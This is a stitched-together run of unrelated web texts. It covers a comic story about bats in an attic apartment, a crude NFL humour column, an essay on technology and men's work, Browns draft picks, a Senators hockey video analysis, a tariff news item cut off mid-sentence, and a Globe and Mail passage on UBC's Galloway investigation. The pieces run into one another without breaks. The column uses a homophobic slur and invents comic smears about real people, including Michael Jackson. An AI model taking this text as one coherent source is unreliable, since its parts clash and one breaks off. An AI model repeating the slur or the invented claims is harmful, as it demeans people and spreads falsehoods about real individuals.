When I went to college I was 21. I had worked for 3 years to save up enough money that I could put myself into college and rent a questionable apartment. This apartment was a studio in the attic of an old Victorian home, when I looked at it I thought it would be cool because of how old it was and the attic had all stain glass windows, and that is funny to look at when you are stoned. I moved in the weekend before class started and met all the other people that lived on the other floors. The first night came and I was a little nervous, I was out of school for a while, in a new place, and high as a kite. I called my girlfriend at the time to tell her goodnight. I only had the TV on and I caught a flash of something out of the corner of my eye. I kind of shrugged it off and kept talking to her, but then I got hit in the chest by something that was furry and screaming. I leapt off my futon sprinted to the light switch and on my bed lay a bat. I live in the country so I have seen bats before and killed a few in my folks house. Then one flew over my shoulder, and all my confidence was sucked from my body. I fell into the bathroom while screaming, with my girlfriend still on the phone. At this point she thought I was getting gang raped and was panicked. I told her what was going on, she had a good laugh and we hung up. So I am sitting on the can, thinking how I am going to get these two bats out of my apartment. Easy, I open the giant windows I have and they fly out. I work up the courage to open the bathroom door and make my move. I open the door to what could only be explained as a colony of bats flying through my apartment, I shriek and slam the door shut. Now what the fuck do I do? I call my drunken father and he utters two words to me "start swinging". I look through the bathroom and I don't have shit to swing at the 1000 bats in my apartment, I don't have phone numbers to anybody else in the house to call for back up, so it was just me against them. I look through my 3' X 6' bathroom for anything useful, I rip the small cabinet door off said cabinet, grab the Lysol, and rap a towel around my face only letting my eyes peaking out. At this point I am hearing "Walk" by Pantera playing in my head getting pumped. I throw open the door and start spraying and swinging the door like a knight wielding a sword. I make it to the windows, at this point I know I hit a few of them and pissed even more off. Unlock the windows and they don't fucking open! It's war now, I knock down the remaining bats with pin point Lysol diversion mist followed by knockout hits with a door. 14 bats total met the fury of my door that night. In my head I still want to think I looked bad ass doing it, but I am sure I looked like an epileptic man catching a case of the shakes.
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Fire This Asshole!
Is there anything more exciting than a coach losing his job? All year long, we'll keep track of which coaches will almost certainly get fired at year's end or sooner. And now, your potential 2012 chopping block:
• Whatever janitor is currently in charge of the Saints
• Norv Turner
• Mike Munchak
• Jason Garrett
• Greg Schiano
• Jim Schwartz
• Pete Carroll
• Rex Ryan*
• Romeo Crennel
• Pat Shurmur
• Ron Rivera
• Mike Shanahan
• Andy Reid
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(*-possible midseason firing)
The Chargers had second-and-goal at about the three-yard-line early against the Saints and had been running the shit out of the ball. Which is why Norv Turner immediately called a shotgun rollout with Philip Rivers, the least mobile quarterback in the universe. That's such a perfect Norv thing to do. I wonder if he stops at green lights.
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Gametime Snack Of The Week
Fruit & Veggie Shredz. From the packaging:
Now you can get a blast of real fruits & veggies anytime, anywhere—so grab your board and shred it up!
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FUCKING SHRED THOSE VEGGIES, GUYS. Just hop on your extreme skateboard and CRUSH a few fruit shreds. THEN IT'S TIME FOR PUSSY.
Gametime Cheap Beer Of The Week
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Coors Original. It's the banquet beer! You know, the beer you drink at banquets! Real classy like. I love the ads they have now with Sam Elliott on the voiceover, talking about how their shitty beer is made and being like, "Now some might call us uncompromising." NO ONE has ever accused Coors of being uncompromising. It's like the perfect straw-man argument. "Now a lot of people might say we at Coors make beer that's TOO delicious. But we care too much about AMERICA to settle for anything less. Sorry. commie fags."
I always wonder if there's some rube out there who believes Coors or Bud or Miller when they try to convince you their beer is brewed by trappist monks using organic field grains. "Why, I never realized how Budweiser was brewed before! I'm seeing it in a whole new way!"
Robert Evans's MVP Watch!
Time to start thinking about who the leaders will be for the NFL's MVP award. So every week, legendary Hollywood producer Robert Evans will join us to give us his assessment. Take it away, Mr. Evans.
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"Baby, my favorite for NFL MVP is still Matt Ryan of the Falcons! I see that new Ben Affleck picture about a fake movie spy mission is coming out this week. Based on a true story, eh? Well, Evans was the MASTER of making fake movies for the CIA, baby! Two years after that little Argo mission, I got a request from the Reagan White House to help provide cover for a top secret mission in Cambodia. Classified? YOU BET! Thousands killed senselessly? YOU KNOW IT.
"It was my job to produce a convincing fake movie for the CIA, so I sat down with old friend Roger Corman and we drew up a quick outline for a sequel to Apocalypse Now, titled Apocalypse Later. In the followup, Martin Sheen is lording over all of Marlon Brando's disciples out in the jungle, only to find out the army has been ordered to terminate him. With extreme prejudice? YOU BET! So Sheen enlists a ragtag group of disaffected soldiers—including Sly Stallone, Kurt Russell, and a young Michael Jackson—and together, they take on the dreaded Colonel Kilgore (played by Alan Arkin due to scheduling conflicts) in the final battle between good and evil. AND SEX! SEX EVERYWHERE YOU LOOKED. We dreamed up a tribe of huge-breasted Cambodian jungle women, all played by white actresses in yellowface. It was gonna be the hottest fake movie of the year!
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"Well, the second we touch down in Southeast Asia, everything goes to shit. Sheen has ANOTHER heart attack. Stallone can only remember his lines if they're drawn for him on an Etch-A-Sketch. And Jacko kept bringing little boys back to his jungle tent to play pattycake. Meanwhile, I'm smoking too much hashish and I start hallucinating that the movie is real and the CIA is fake! By the end, we spent $5.4 billion of the government's money and six local villages were burned to the ground for reasons that were never disclosed to me. But lemme tell you, when I saw Farrah Fawcett in yellowface, it made everything worth it. AND HOW!"
Sunday Afternoon Movie Of The Week For Browns Fans
Tinker Tailor Soldier Spy. There's a sex scene in this movie, but it takes place so far away from the camera that you can barely make out anyone's privates. This is why all DVDs and Blu Rays need an extreme hi-def zoom-in feature. I'm not letting the director's good taste stand in the way of my self-gratification.
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Gratuitous Simpsons Quote
"My foolish capering destroyed more young minds than syphilis and pinball combined."
Enjoy the games, everyone.Many men lost their jobs when technology made them obsolete. The new jobs available were soul-crushing, undignified, and required an arduous commute—and that’s assuming companies would hire them. Most employers wouldn’t, because the men were considered too old and unskilled for the new work. And then a false prophet with messy hair emerged, promising to give power back to workers and decried the indignity of what work had become.
Sounds familiar? I’m not describing the current economy, but 19th century England during the industrial revolution. Back then, technology also radically altered how humans worked. It upset men’s place in society. And it makes what’s happening today seem tame.
Few things are considered more manly than providing for and protecting your family. So it’s no wonder that so many men in developed countries are in a crisis, with technology cited as the reason for rising populism and discontent.
The way in which society defines masculinity is often tied to work and technology is changing the nature of work as we know it. Smart machines and robots can do tasks that once only humans could do. And in the sectors where this is happening fastest—like manufacturing—many of the job casualties are the kinds of jobs traditionally held by men.
Labor force participation among men age 25 to 55 fell 3.5 percentage points between 1994 and 2014 in the US, and is expected to fall further in the next 10 years. A sole male breadwinner is no longer possible for many households. And for men with jobs, the work is changing.
1 The Current Population Survey twice changed how they define occupations. Thank you to David Dorn at the University of Zurich for providing me with the code to convert occupation variables into a consistent data set.
Not only are the types of jobs changing, but those lucky enough to have them aren’t getting the pay raises like they used to. Median male wages haven’t increased since the 1970s, and are falling in many of the occupations—construction, transportation, and manufacturing, for example—that employ more men.
But these trends are not so new. They may even indicate a return to more traditional work. For thousands of years, men worked the farm or in artisan labor. People worked hard, but most worked from home and set their own hours. According to Joel Mokyr, an economic historian at Northwestern University, it is hard to overstate how traumatic it was as workers shifted from home production to factories.
Mokyr, whose forthcoming book, A Culture of Growth, describes the industrial revolution’s intellectual origins, explains that factory work was traumatic for men because it required showing up at a particular time, staying a full day, and taking orders from another man. Men frequently had such a hard time giving up their autonomy and dealing with a boss that factories originally employed women and children because they were more docile.
A generation of men lost work and many never found another job. Traditional artisans couldn’t deal with factory work and there were fewer jobs because machines were more productive. It was a messy transition that played out over more than 100 years and sparked Marxism. Factory owners took proactive steps to make it work. They set up schools for children and made education available to the masses. But their intention was not to increase literacy. The schools existed largely to condition the next generation to work a full day and take orders.
Sons of displaced artisans eventually adapted to the new version of employment, and women were shoved out the labor force. The men took jobs inconceivable in their fathers’ era, on railroads or telegraphs. By the 20th century, working a union job at a factory was not only acceptable, it became a standard for how men took care of their families. Today, lifelong employment under a paternalistic employer is more rare. And because we still associate those things with a good job, Americans predict a bleak future for their children.
It may take another generation for men to find their place, but a recent OECD report predicts humanity in general will continue to thrive. And while uncertainty makes most people nervous, Mokyr sounds giddy in describing the jobs of the future:
We know they are coming and… they will bring a great deal opportunity and a great deal of misery. Progress is not cost free. Stagnation is worse… We can’t even imagine what new jobs will be. Your great-grandmother in 1914 probably couldn’t imagine what a cyber security expert was.
Harvard’s Larry Katz foresees a return to artisanal employment for the middle class, where good jobs combine technology and interpersonal skills to deliver specialized, high-quality services. Mokyr anticipates future work will be more entrepreneurial, too. It may be common to hold multiple jobs and telecommute a few days a week. He predicts time will be less scheduled and workers will have more autonomy, though they’ll also face more risk and less job security.
New technology may not be the end of men; it may just hasten a return to a pre-industrial version of masculinity, of sorts.
Humans are now accustomed to stability and higher living standards. To ease the transition, we need new institutions and a better safety net for the generation caught in the transition. And most importantly, we need an education system that does what employers once did. In the 19th century, employers trained workers for the new economy and set up schools. They replaced the apprenticeships that existed before factories. Today’s employers tend not to offer much training; they avoid investing in workers who might leave them.
Trying to bring back the old economy only prolongs the painful transition we are experiencing today. Instead of romanticizing the past, the conversation should be about the best way to educate the workforce and keep skills fresh so that modern men thrive as we redefine work.Getty Images
The Browns had more picks in the 2016 NFL draft than any other team. But their 2016 haul is nothing compared to what they have in 2017 and 2018.
After yesterday’s Brock Osweiler trade, the Browns now have a whopping eight picks in the first two rounds of the next two drafts, as well as the first pick in the third round this year, for a whopping nine Top 65 picks in 2017 and 2018. Here’s the full haul:
The No. 1 overall pick in 2017.
The No. 12 overall pick in 2017 (from Philadelphia).
The No. 33 overall pick in 2017.
The No. 52 overall pick in 2017 (from Tennessee).
The No. 65 overall pick in 2017.
Their own first-round pick in 2018.
Their own second-round pick in 2018.
Philadelphia’s second-round pick in 2018.
Houston’s second-round pick in 2018.
The analytics people running the Browns have prioritized acquiring future draft picks, and they’ve done it masterfully. No team in the NFL has anything close to the draft capital the Browns have over the next two years.
The question, of course, is what the Browns will do with all those picks. Trade a bunch of them for Jimmy Garoppolo or another quarterback? Use one to draft a franchise quarterback? Stockpile the roster with talent on both sides of the ball?
Or will the Browns squander those picks with bad players? Having a lot of picks is no guarantee of success. But it is clear that the Browns are building their team exactly the way they want to, with a bounty of draft picks.There is no denying that Coach Dave Cameron has done a fine job of guiding the Senators ever since taking over for Paul MacLean back in December.
Stepping up from the associate coach's position, Cameron was able to improve Ottawa's shot suppression (the biggest issue under MacLean, as I wrote about last year) and make better use of some under-utilized assets on the roster (Erik Condra, Patrick Wiercioch and Mark Stone, among others). Andrew Hammond's unusual hot streak in nets might have been impossible had Cameron not directed his players to really bear down and prevent opponents shooting the puck from high-danger areas.
Still, for all the things that Cameron and company do well, they are not without vulnerabilities. Mathematician, hockey researcher and Senators fan @IneffectiveMath pointed out to me recently, the Sens aren't very good at blocking shots, which I found interesting.
Delving deeper into the issue via video reveals that the Ottawa Senators are prone to breaking down when playing in defensive zone coverage.
Focus 1: 5vs5 D-Zone coverage
While the Senators are very aggressive when they have the puck, they tend to "sag" quite a bit when defending. On the one hand, retreating to the front of the net prevents those uber-dangerous cross-ice chances in the slot. On the other hand, it severely impacts a team's ability to block shots and leads to opposing players being open on rebounds. Here is a play from the Habs-Sens game on February 18:
Max Pacioretty has the puck down low and is pursued by Cody Cedi (OTT5). So far so good. Right-winger Bobby Ryan (OTT6) retreats to the hashmarks, instead of staying with Nathan Beaulieu at the point. In D-zone coverage, Red Wings coach Mike Babcock prefers for his forwards to "cut off the top," and prevent opposing forwards from getting the puck to the point. Instead of doing that, Mike Hoffman (OTT68) actually encourages Pacioretty to send the puck along the boards back to P.K. Subban. Meanwhile, David Desharnais has gained body position on Mika Zibanejad, who is unable to help. Bobby Ryan is still standing by himself in the slot, guarding a general area instead of a player in particular. Traditionally, the defending wingers are in charge of covering the opposing defensemen when they have the puck. However, instead of being tight to the points, the Senators' forwards are in no-man's land. Hoffman is stuck with Pacioretty down low, and Ryan is still standing by himself. Neither is in any position to prevent Subban from taking a shot, making a cross-ice pass to Beaulieu, or walking into the high slot. Subban goes for a half-slap shot through traffic. The puck goes through Ceci, who has failed to "front" the net man Desharnais, hits the post behind Andrew Hammond, and goes into the corner behind Jared Cowen (OTT2) and Dale Weise. Dale Weise beats Cowen to the puck and identifies a passing lane to Max Pacioretty in the low slot. Hoffman can't get his stick in the lane quickly enough, while Ryan and Zibanejad are once again guarding no one in particular. Pacioretty drops to one knee and gets good torque on his one-timer. Andrew Hammond makes a great reaction save despite being positioned on the goal line and not having time to come out and cut the angles. No goal here, but the type of prime opportunity that a team cannot afford to give up.
Focus 2: Penalty kill D-Zone coverage
Ottawa's younger, less experienced players can use their explosiveness to create open ice and convert scoring chances, but they also need more time and attention in order to learn how to make correct decisions on a consistent basis when playing inside set structure. Coach Peter Smith, who I work with at McGill, likes to say that "penalty killing is the most structured part of the game." This must be one of Dave Cameron's biggest challenges when coaching his special teams.
On March 12, with Ottawa down one player, a few minor miscues combined to create a P.K. Subban goal.
Subban is in control of the puck at the left point and Erik Condra (OTT22) comes out to meet him. On the ice with Condra are Jean-Gabriel Pageau (OTT44), Marc Methot (OTT3) and Mark Borowiecki (OTT74). Subban gets Condra to commit with a fake shot, then slides the puck over to Brendan Gallagher at the left sideboard. Borowiecki had retreated to the center of the ice to block a potential point shot, so he will be half a step slow getting to Gallagher. This allows the Montreal forward some time and space to create. The ideal option for Gallagher here is a cross-ice feed to Max Pacioretty for a one-timer. The Ottawa players know this and proceed to lock down the middle of the slot. Methot and Pageau double-up on the coverage, which prevents a scoring opportunity but also opens up seams elsewhere. To compound the issue, Condra's stick is out of position. He respects Subban too much and angles his stick to prevent to pass back to MTL76, but he would be better off guarding Markov instead, because that's a pass across the middle of the ice, much closer to the Ottawa net. Gallagher makes a good read and sends a hard pass right to Markov's tape. Condra swings back to cover the middle but it's too late, the puck is already on its way over. Note the positioning of Methot and Pageau. Normally, Markov would be Pageau's man, but the Ottawa forward had already over-committed to Pacioretty and can't get his stick anywhere near the pass. Meanwhile, Methot should be fighting to get in front of Pacioretty to tie up his stick, if need be. He is unable to do that and will be behind the 8-ball for the rest of the play. Markov might be getting old, but he is still as skilled and as smart as ever. Like a chess grandmaster, he reads the play in a split second and recognizes that Ottawa is in disarray. He absorbs the pace on Gallagher's pass and make a one-touch feed back across the ice for Subban. Meanwhile, Pageau's way behind on the play and Condra pivots the wrong way. He'll have to hustle and risk tripping himself up in order to have any chance of blocking Subban's shot. The situation has snowballed quickly against Ottawa. Their four players on the ice have combined to tie up 0.5 Montreal sticks (Pacioretty has body position on Methot and can still tip a point shot), Subban is getting a perfect one-time feed in a high-quality area (link to a previous post on the topic), and Andrew Hammond is fighting to get eyes on the puck. Very brave play from Condra, who slides in sideways in a desperate attempt to block Subban's 90MPH+ shot. Players' equipment is designed to protect mostly the front, so he'll be out for a while if he gets hit on the side of the knee, on the ankle or in the ribs. But Subban goes for a top corner here. If the puck were to hit the side of Condra's turned head, he could very well leave his life on the ice. Fortunately for Condra, Subban misses his head. Unfortunately for Condra's team, he does not miss the net. A 90MPH slap shot from 40 feet out will reach the goaltender in about 0.3 seconds. With the human reaction time to a visual cue being approximately 0.25 seconds, it means that Subban's shot will be nearly impossible for Andrew Hammond to stop. Power-play goal Montreal. FULL VIDEO:
And that's why it's so hard to play in the NHL. We've just spent the last 5 minutes dissecting a play which took place in less than 4 seconds. These guys are playing the fastest team sport in the world. Never forget that.
For the Montreal Canadiens to fully benefit from Ottawa's biggest systemic weakness, they will have to play a disciplined game, both in terms of drawing more penalties than they take, and in terms of possessing the puck in the Ottawa end. It will be tough to win playing run-and-gun hockey against the Sens, but if the Habs can hem the Senators in their zone, it will open up plenty of quality chances for their top-line talents.German Chancellor Angela Merkel and German Foreign Minister Sigmar Gabriel attend a weekly cabinet meeting at the chancellery in Berlin on March 29. (Odd Andersen/AFP/Getty Images)
This post has been updated.
Germany's foreign minister on Friday morning said the Trump administration is taking a “dangerous step” after the Commerce Department announced a tariff on imports of foreign steel, indicating the tax could become a new source of conflict with the powerful U.S. ally and trading partner.
The strongly worded statement from German Foreign Minister Sigmar Gabriel further intensified trade tensions between the United States and international officials since President Trump took office. Although Trump's actions on trade so far have been modest and have in many respects preserved the status quo, the president and his advisers have hinted at more disruptive measures in the future, and Gabriel claimed that the administration was abandoning established international principles of free trade.
“The U.S. Government is apparently prepared to provide American companies with unfair competitive advantages over European and other producers, even if such action violates international trade law,” Gabriel's statement read. “I very much fail to comprehend the decision.”
Gabriel is objecting to the Trump administration's conclusions following an investigation into the pricing of certain types of steel plate from Germany, as well as from Austria, Belgium, France, Italy, Japan, Korea and Taiwan. The Commerce Department's findings, announced Thursday, allow the administration to begin collecting tariffs ahead of a final determination expected in May.
The steel investigation relates to a pair of executive actions on trade that Trump signed Friday afternoon, ordering a review of U.S. trade policy.
"During the campaign, I traveled the nation and visited the cities and towns devastated by unfair trade policies -- probably one of the major reasons I’m here today, trade," the president said. "Nobody’s ever made bad trade deals like our country has made."
President Trump directed his administration to review U.S. trade deficits and clamp down on countries that abuse trade rules in |
, Anita Bedell, says she was contacted on Instagram by a friend of Mr. Galloway, who said she had seen Ms. Bedell's statement about him. Ms. Bedell was shocked.
"It was expressed to me by UBC that [my statement] would be confidential. And only [Mr. Galloway] would see it and only the investigative team at UBC would see it, including the dean and the higher-ups," she says. "That pissed me off because all of a sudden I felt like I wasn't protected at all."
After expressing her "profound displeasure" to the university, Ms. Bedell was told procedural fairness allowed Mr. Galloway to share complainant or witness statements with his own witnesses, but that the information should have been kept confidential. "Regrettably, what happened, just shouldn't have happened," Jude Tate, then special adviser to the provost, academic equity initiatives, wrote in an e-mail. (Dr. Tate is now director of equity and inclusion.)
When Ms. Rooney also expressed her concerns to UBC about what she'd learned from Ms. Bedell, she was told she did not have a right to know who else had seen her statement and, furthermore, was warned against communicating with other complainants, as it could be viewed as colluding.
"The process was just an absolute ridiculous nightmare," says Ms. Bedell.
Meanwhile, faculty also had apprehensions about how the case was being handled. A meeting was held with representatives from the dean's office during which some of Mr. Galloway's colleagues expressed concerns about the destruction of his reputation.
Susin Nielsen, an adjunct professor in the program and a Governor General's Award-winning Young Adult author who was at that meeting, says she agrees that Mr. Galloway should have been suspended and the allegations taken seriously. "But surely an allegation can be taken seriously, and the appropriate steps can be taken, without immediately going public in such an alarming manner and throwing a valued employee under the bus?" she wrote in a letter to UBC protesting against the handling of the case.
"Because that is exactly what UBC did. I still don't understand why the suspension was made public in the first place, and particularly with such innuendo-laden language."
Faculty were told in the meeting that the university couldn't be held responsible for any conclusions about Mr. Galloway drawn on social media – where speculation about the allegations was rampant after his suspension.
"Fair enough, that's true," says Ian Weir, then an adjunct professor in the program who was also there. "On the other hand, given everything else that was happening at the time, given the fact that the Ghomeshi case was very much in the public eye, [and] deeply distressing facts and allegations concerning Bill Cosby were very much in the public eye, I would be surprised if anybody in the university administration was surprised that those very distressing conclusions were jumped to by the media and by the public."
Ms. Boyd submitted her report to the dean in late April. On May 30, Prof. Averill made his recommendation to Dr. Piper. In June, Mr. Galloway was fired. The university cited "a record of misconduct that resulted in an irreparable breach of the trust placed in faculty members," and stated that Prof. Averill "also took into consideration other allegations" in addition to those investigated by Ms. Boyd. It said Mr. Galloway did not dispute any of the critical findings in the report.
Martha Piper was interim president of UBC until this past June. JOHN LEHMANN/THE GLOBE AND MAIL
Then the UBC faculty association, of which Mr. Galloway is a member, issued a statement "to clarify that all but one of the allegations, including the most serious allegation … were not substantiated." The implication was that Mr. Galloway did not dispute any of the critical findings in the report because most of the complaints had not been upheld.
But Ms. Rooney and Ms. Gemma say, once they finally saw their copies of the redacted report – which should have revealed everything concerning them – they believe that crucial evidence was missing from the sections dealing with their complaints. For instance, Ms. Rooney recounted an incident at a bar in which she says Mr. Galloway pushed his leg into hers under the table and asked if he would be able to "get a ride on the Rooney train" (meaning sex, she believes, given the context of the conversation) if he were 10 years younger. That story, unlike her other complaints, did not make it into the redacted copy of the report she received.
However, that story was not in the transcript of Ms. Rooney's first interview with Ms. Boyd. But it was included in Ms. Rooney's original e-mail to Dr. Tate at UBC.
"A lot of people are assuming that they know the whole story based off this very minimal report," says Ms. Gemma.
"Somebody has got to come forward and say that it's not right."
Ms. Boyd could not respond to The Globe's queries as she is bound by a confidentiality agreement; she said all questions should be referred to UBC. The university replied that decisions about what Ms. Boyd included and excluded would have been hers. It also reiterated that there was a comprehensive investigation conducted by the dean of arts and that the report was one component. Ms. Rooney was also informed that her statement was included in the report's appendix, read by Prof. Averill, and taken into account when he made his recommendation.
Before receiving her redacted copy of the report, Ms. Rooney inquired about being able to take steps, once she had seen it, if she wanted to contest a finding or the veracity of Mr. Galloway's response to her complaint.
She was told by Paul Hancock, UBC's legal counsel, information and privacy, that he believed once the university had made its findings, that was the end of the process.
In a subsequent e-mail, Mr. Hancock concluded: "I agree with you that UBC's policies should be more explicit about what information all participants receive during an investigation – we are giving a lot of thought to that at the moment."
The fragments of Ms. Boyd's report released to Ms. Gemma and Ms. Rooney state the investigation considered three UBC policies: serving and consumption of alcohol at university facilities and events; discrimination and harassment; and the UBC statement on respectful environment for students, faculty and staff.
While there's no reference to sexual assault in the redacted report, the copies issued to Ms. Rooney and Ms. Gemma reveal other complaints involving alcohol as well as allegations of abuse of power, bullying and harassing behaviour.
The documents show Mr. Galloway was accused of promoting the regular consumption of alcohol and creating a culture in which students felt pressured to participate in drinking sessions on and off campus. He was accused of showing favouritism – offering or withholding opportunities for grad students, for instance. He was also accused of bullying and harassing; of making insensitive, disrespectful, rude comments and of ostracizing and excluding students – undermining their self-esteem and compromising their ability to achieve their study goals, it was alleged.
Ms. Boyd "entirely" dismisses the complaints that Mr. Galloway was "plying" students with alcohol in order to create a sexualized environment or one where inappropriate behaviour on his part would be tolerated. "The reality is that most of the crowd were sophisticated adults … and that [Mr. Galloway] was in no position to control either how much anyone drank nor the conversations they engaged in." She also found that no one was forced to participate.
Favouritism regarding teaching-assistant positions, grants and scholarships was also alleged. The report found that Mr. Galloway may have been in a position to make recommendations, but did not have sole control over those decisions. (However, UBC, in its response to The Globe, indicated that program chairs do make decisions about hiring staff.)
The most serious allegations, those involving the main complainant, are redacted – as are the conclusions.
Ms. Gemma was devastated to see that in the redacted report her evidence was diminished to one brief paragraph that said she described no "personal harassment" toward her by Mr. Galloway, and summarized her concerns that a posting for a job for which she applied had disappeared and the position was later given to someone else.
"It was just this tiny little insignificant thing that makes me sound so petty," she says.
Ms. Rooney had told the investigator about a Facebook comment Mr. Galloway made after she – by now a graduate – posted a photo of her partner, an instructor in the program, dressed as a character from the comic series The Adventures of Tintin. On Facebook, Mr. Galloway referred to "bedroom role play" and later in the thread (which includes responses from Ms. Rooney) wrote: "This whole photo is what would happen if Wes Anderson made an adult film." Ms. Rooney told the investigator she found the comments "very inappropriate and embarrassing" particularly coming from her partner's boss – and in a public venue.
In response to this complaint, Ms. Boyd wrote: "While [Mr. Galloway's] posting may be inappropriate, I am unable, in this context, to characterize [Ms. Rooney's] allegations of harassment as anything other than a gross over-reaction."
It wasn't the only time Mr. Galloway's Facebook activities came up in the investigation. In one thread from February, 2013, when he was teaching in the program, Mr. Galloway, upset that his face with a Grumpy Cat-like photoshopped frown had been posted in a jokey Facebook group, directed this comment to a recent graduate: "My door is forever closed to you. Bear in mind that this community we all travel in is small, and over time being a smarmy little shit will close the walls in on you faster than you can possibly imagine."
The target of this post became a complainant in the investigation, alleging that it was a threat.
According to the report, Mr. Galloway said the post was meant as advice – not a threat. Ms. Boyd ruled that it did not constitute a threat and that both parties involved had acted childishly and inappropriately.
Ms. Rooney was dismayed but not surprised when she read Ms. Boyd's characterization of her in the report, which noted that she was "the one complainant who has most vigorously participated in this investigation," conferring with MC and spearheading the gathering of evidence by the ancillary complainants.
"Suffice it to say that I found [Ms. Rooney] a biased witness, who has perceived every minor incident here through her own tainted lens. I am unable to place much, if any, weight on her evidence. I certainly do not rely on her evidence to support a finding that [Mr. Galloway] is guilty of multiple instances of 'personal harassment'" under UBC's respectful environment statement, Ms. Boyd wrote.
"It's pretty lengthy, the way she dismisses me," says Ms. Rooney. "That hurt."
RAFAL GERSZAK FOR THE GLOBE AND MAIL
The conflicting information they received throughout the process was also distressing for the complainants.
Ms. Gemma was told there would be no announcement as to the outcome; that one day Mr. Galloway could just show up, back at work – or never return.
"I cannot begin to explain the distress, panic, and anxiety that caused me," she wrote in an e-mail to Dr. Tate.
The decision was, in the end, made public, but Dr. Tate subsequently informed Ms. Gemma that UBC generally informs someone whether their complaint has been upheld. Then Ms. Gemma later learned from Mr. Hancock that the only way she could in fact get that information was through the FOI process.
"I am sorry if you have previously received inconsistent information from the university," he wrote.
Some friends and former colleagues of Mr. Galloway aren't impressed with the process, either. Brian Brett, an award-winning author who was an adjunct professor, calls the investigation a "Star Chamber-style kangaroo court."
The investigation has resulted in turmoil at the program, the university and polarizing divides in the interwoven literary community. Mr. Galloway, for instance, was thanked by Ms. Rooney in her acknowledgements for Pedal. He also blurbed her book, praising it as being "written with an unflinching eye and a deep understanding of the torment that is the human condition."
Although UBC says enrolment in creative writing has not suffered, the department has lost two highly respected and popular employees: its program administrator and its undergraduate secretary – the position Ms. Gemma had applied for before the posting was taken down. Having worked for UBC for 10 years, Ms. Gemma resigned in June, saying her personal values no longer allowed her to be affiliated with the university. Andreas Schroeder, who has been teaching with the program for more than 25 years, is resigning at the end of this academic year from his position as Rogers Communication Chair in Creative Nonfiction. While he is of retirement age, nearing 70, the Galloway case was a factor in his decision to leave. Prof. Lyon and Prof. Svendsen, neither of whom spoke with The Globe for this story, are said to be doing their best as program co-chairs, but are stressed under tremendously difficult circumstances in what has been described as a splintered, toxic environment.
For reasons that are not always clear, a number of people teaching in the program have not been asked back. They include Hal Wake, head of the Vancouver Writers Fest, who was an adjunct professor, a friend of Mr. Galloway and has been calling for transparency in the process.
Mr. Brett, also former chair of the Writers Union of Canada, found out he was no longer with the program when he inquired about his UBC e-mail account not working and received a response that e-mail access for "former faculty" had been shut down. "It's rude and shocking for adjunct professors to be treated this way," he wrote in an e-mail to The Globe, adding that he had lost important correspondence and information.
Ms. Nielsen and Mr. Weir, both of whom were hired by Mr. Galloway, will not be returning (Mr. Weir taught his final course last spring; Ms. Nielsen, who has been a vocal supporter of the former chair, is teaching hers now – both positions are being filled by full-time instructors.)
While there has been much chatter speculating that these decisions are related to Mr. Galloway, Ms. Danard at UBC writes that this is untrue. "If your question suggests UBC is retaliating, let us be clear: There have been some faculty changes among non-tenured professors in creative writing that are completely unrelated to this case. It's not unusual for sessional and adjunct professors to come and go in any department at any university."
Saying he is "distressed, dismayed and thoroughly bewildered" by what has transpired, Mr. Weir, an author, screenwriter and playwright, says he is writing a letter to the university demanding disclosure. "Based on the way the situation has been framed and handled by the UBC administration, there is just that dismaying feeling that a terribly difficult situation has been made worse for everyone," he says.
Governor General's Award-winning author Karen Connelly is also planning to write to the university – and went public with her support for Mr. Galloway in a much-discussed Facebook post.
"I cannot remain silent any longer because it makes me want to vomit," she wrote. She reminded people "what a force for [the] literary community he has been – how many students he has helped, to find work, to access agents, to meet publishers – what a dedicated teacher, what a generous, open-minded human he is; what a talented, exacting writer."
Ms. Connelly is particularly disturbed by people's fear of speaking out about what had happened to their colleague.
"Some feared losing their jobs at UBC," she wrote in an interview conducted by e-mail. (Indeed, after the faculty meeting last November, people at UBC were warned against speaking to the media or even to each other.) "But many more feared, and still fear, for their reputations; they do not want to be branded as 'rape apologists' or people who 'do not believe women.'"
Hart Hanson, a 1987 graduate of the program who created the TV series Bones, has also written to his alma mater, stating he would not follow through on a planned donation due to the lack of information about Mr. Galloway's firing.
"My suspicion is that they have messed up for years on sexual harassment issues at the university and then decided to come crashing down like the hand of God on someone and maybe it wasn't quite justified and now they're circling the wagons," says Mr. Hanson, who met Mr. Galloway last year when he received an honorary degree from the program.
But UBC says it can disclose details of employment decisions only if those who resigned or were terminated waive their right to privacy.
Ms. Thien, in standing up for her friend, has waived her own right to privacy in a sense. An intensely private person, she identifies herself as a sexual-assault survivor in her letter, which does not detail the sexual-assault allegation against Mr. Galloway, but lists many of the ancillary complaints. (Ms. Rooney, for her part, disputes some of Ms. Thien's points about Ms. Thien's own role in this.) Ms. Thien also writes that writing faculty called the police in Ohio, when in fact it is not a faculty member heard on the 911 call, which The Globe has obtained.
She says the more serious allegations should have been investigated by the police – not the university. (While UBC could not comment when asked if the university referred this case to the police, Ms. Danard wrote that "generally speaking, it is up to complainants to go to the police if they are the victim of an alleged crime.")
"I believe you have failed everyone involved," Ms. Thien writes. "I know that, if we want a world where women are believed, we must support them to give their evidence without fear or reprisals, in a context in which their identity can be protected and guaranteed by the law, in a system that is transparent and just."
She says that, until the university takes responsibility for its share of the damage done, she no longer wants to be associated with it.
"I do not believe the actions taken by UBC or Creative Writing have made an environment that is safer for women, for victims and survivors of sexual violence, or indeed for any individual.
"Indeed, I believe the university has made it immeasurably worse. I cannot for a moment imagine that any of these events have made the main complainant feel safer, have contributed to her wellbeing, or protected her privacy."
CHRISTINNE MUSCHI FOR THE GLOBE AND MAIL
The investigation has taken a terrible toll on the ancillary complainants with whom The Globe spoke. Ms. Gemma says she has been physically, mentally and emotionally devastated. "I haven't written since this happened; I haven't written a single word," she says. "The core of your identity as a writer is writing. I feel like the core of my identity has been altered in a permanent way."
Ms. Rooney is feeling heartbroken and ostracized from people in the literary community who she says have belittled her complaints. "I thought I was going to be a novelist and that I was going to go to literary festivals and then this happened," she adds. "And that's not my life any more."
Mr. Galloway's life has also been irrevocably altered – his reputation has taken a drubbing and an impact on his career seems inevitable, although his publisher, Penguin Random House Canada, immediately stated its continued support for him last November. PRHC has not responded to subsequent inquiries, including two this week.
"He is a broken man," says Ms. Nielsen. "He's not writing. As far as I know, he's not even reading because he can't concentrate." He declined to be interviewed by The Globe for this story.
He did visit the hospitality lounge at the Vancouver Writers Fest, which wrapped up last Sunday – suggesting an improvement in his state of mind and perhaps an attempt at reintegration. "My understanding is that he realized that he was far more supported," says Ms. Nielsen, who had brunch with him and a group of others last Sunday.
Mr. Galloway, who is divorced from the mother of his children, remarried this year. His wife, who sources say has been very supportive to Mr. Galloway, is a former student; she graduated from the MFA program in November, 2014.
